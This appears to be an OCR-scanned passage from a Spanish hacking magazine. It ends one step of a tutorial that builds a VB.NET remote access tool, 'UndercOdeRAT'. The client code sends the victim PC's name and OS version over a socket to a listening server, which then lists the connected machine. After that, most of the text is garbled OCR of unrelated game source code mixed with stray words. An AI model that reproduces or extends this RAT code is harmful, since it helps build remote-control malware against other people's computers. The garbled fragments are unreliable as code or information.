- 7. DimosVersionAsString = System.Environment.OSVersion.ToString() ' Creamos la variable OsVersion que nos dira que sistema posee nuestro remoto
- 8. DimPCNameAsString = System.Windows.Forms.SystemInformation.ComputerName'Creamos la variable PCName que nos dira el nombre de la pc de nuestro remoto
- 9. DimvDatos(1500) AsByte'Creamos un buffer de salida. Límite de buffer: 1500
- 10. vDatos =

System.Text.Encoding.BigEndianUnicode.GetBytes("HELLO"&"|"&"UndercOdeRAT[MAGAZINE]"&"|"&PC Name&"|"&osVersion) 'llenamos el buffer con la cadena que mostraremos en el listview

- 11. oSocket.Connect(Net.IPAddress.Parse("127.0.0.1"), 7913) 'Conectamos con el servidor: en el ip 127.0.0.1 y el puerto 7913
- 12. oSocket.Send(vDatos) 'Enviamos los datos
- 13. oSocket.Disconnect(False) 'Nos desconectamos del servidor
- 14. oSocket. Close() 'Cerramos el socket usado para el envío
- 15. CatcherAsSocketException
- 16. <u>MsgBox(er.SocketErrorCode)</u>
- 17. EndTry
- 18. EndSub
- 19. EndClass

Finalmente, ejecutamos el cliente y luego el servidor, y podremos ver que conecta en nuestro cliente:



🔜 Form1					
	🖶 Underc0de RAT [Magazine]			↔	- 🗆 ×
	Remoto	PCName	OsVersion	IP	
	Underc0deRAT[MAGAZINE]	FRAN-A1	Microsoft Windows NT 6	127.0.0.1:65289	

Si han seguido los pasos indicados, no tendrán problemas en estas etapas iniciales. En próximas entregas avanzaremos hasta completar la guía que anunciamos al comienzo de este apartado, por lo que recomiendo alguna lectura sobre VB.NET.

y start episode

ANTRAX Roda Blackdrake 79137913 20\*FRACUNIT;

20\*FRACUNIT

(=S\_SARG\_RUN1 ; i <= S\_SARG\_PAIN2 ; i++)

atestil.tics <<= 1; in olMT\_BRUISERSHOTI.speed = 15\*FRACUNIT; MoH/T\_HEADSHOTI.speed = 10\*FRACUNIT; TRIMT\_COOPSHOTI.speed = 10\*FRACUNIT;

## GABRIELA



layGamo () Completed 0 ga\_victory: StartFinale (); eak; \* e ga\_worlddor B DoWorldDone 0 break; ase ga\_acreensho M\_ScreenShot D; gameaction = ga\_r hreak.

MAGAZINE

ReFire},S\_SGUN,0,0), // S

A110 STH

6.(NULL 6.1A\_CloseShoto

0.1.6A\_We

5.(A\_ReFire),S\_DSGUN,0,0),

(NULL),S\_DSNR2, ILL) S DSGIN

CHGG,0,4,(A\_FineCGan),S\_CHAIN2

CHGG, 1, 4, {A FireCGun}, S CHAIN

(SPR CHGG, 1, D, (A ReFine), S CHAIN, O

(SPR\_CHGF,32768,5,(A\_Light1),S\_LIG

MISG,0,1,(A\_WeaponReady)

ISG.0,1,(A\_Lower),S\_MIS

0,1,(A Raise),S MISS GunFlash),S |

(SPR\_CHGF,32769,5,(A\_Light2),S

SHT2 0 1 (A

(SPA

(SPA

(SPR

(SPA

(SPR

(SPR

SPR MIS

(SPR BFGG

SPA\_BEG

SPA BEG

(SPA\_MISF, 327

ISPA SAWG, 2,4, IA

SAWG.3.4.(A W

LA Ba

SHT2.

SHT2.0.3.

(SPR\_CHGG,0,1, (A\_Lowe

CHGG,0,1,(A\_Rais

MALWARE

S SGUNFLASH2,0,0) LIGHTDONE.0.0}

2) S DSGUN8.0.0

0.0), // S DSG

S DSGUN10 (

0.01

adv).S CHAIN

LAINUP.O.C

HAINDOWN

(randsbuild new c check con Nandbuild new consistancy ch buf = (gametic/licdup)/dat/C3 PTICS

for (i=0 ; i<MAXPLAYE RS ; i++)

case ga\_nothing

break;

if (play

MISSILE

DOWN

SAWB

// S\_PLASMAUP

// S\_BEGDDWN

, // S PLASMA1 // S\_PLASMA2

// S\_BFG

// S\_BFG2 // S\_BFG3

0,0}.

BFGUP // S\_BFG1

SH2,0,0)

BL0002

0008 JFF2

DONE 0.01. // S\_8L0001

ligi+i 0,04, 0,00,

SAWDOWN SAWUP

// S\_PLASMA // S\_PLASMADOWN

// S\_PLASMAFLASH1

// S\_PLASMAFLASH2

S BEGELASH2

// che for G=0 :

1

CHAINFLASH1 CO CHAINFLASH2 ncov (cmd. &netcmdslillbufl.) m if (de oplayback) if (dem ecording) moTicemd (emd) // S\_MISSILEFLASH1

// S\_MISSILEFLASH# check for u // S\_MISSILEFLASHig Comd->forwardin **&& Ngametic** // S\_MISSILEFLASH4 static char turbomes

extern char \*player\_names[4], sprintf (turbomessage, \*%s is tu players1consoleplayer1.mess

if (netgame && Inetdemo && Ilgametic%tic

- if (gametic > BACKUPTICS && consistancy/illbufl !=
- I\_Error ("consistency failure (9 emd->cons
- if (playersli).mp) consistancylillbufl

consist acviilbufl = mdin

S PauseSound 0